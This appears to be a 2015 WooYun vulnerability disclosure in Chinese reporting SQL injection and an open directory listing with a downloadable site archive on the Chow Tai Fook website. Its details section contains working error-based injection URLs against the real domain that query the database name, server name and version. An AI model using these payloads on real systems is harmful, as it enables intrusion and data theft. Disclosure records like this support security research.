周大福官网SQL注入漏洞+列目录+网站打包下载(URI注射技巧)

漏洞概要

缺陷编号:WooYun-2015-098742

漏洞标题:周大福官网SQL注入漏洞+列目录+网站打包下载(URI注射技巧)

相关厂商:周大福

漏洞作者:鬼色[N.S.T]

提交时间:2015-02-28 14:27

公开时间:2015-04-14 14:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

Tags标签:

漏洞详情

披露状态:

2015-02-28: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-14: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

这是一个奇葩的注入点,直接访问其实只是目录,而且列目录,目录下有网站压缩包文件可以下载。但这目录下居然可以执行SQL。不解。

详细说明:

http://www.ctflife.com/platinum/platinum/列目录http://www.ctflife.com/platinum/platinum/'%20And%201=(select%20db_name())--http://www.ctflife.com/platinum/platinum/'%20and%201=(select%20@@servername)--http://www.ctflife.com/platinum/platinum/'%20and%201=(select%20@@VERSION)--

漏洞证明:

跑库就不用测试了,肯定可以的。

修复方案:

http://weibo.com/234391451,欢迎白猫加入:http://wooyun.org/teams/NEURON

漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

评价

  1. 2010-01-01 00:00 明月影 白帽子 | Rank:0 漏洞数:1)

    我去。这都可以。坐等公开。忽略也罢……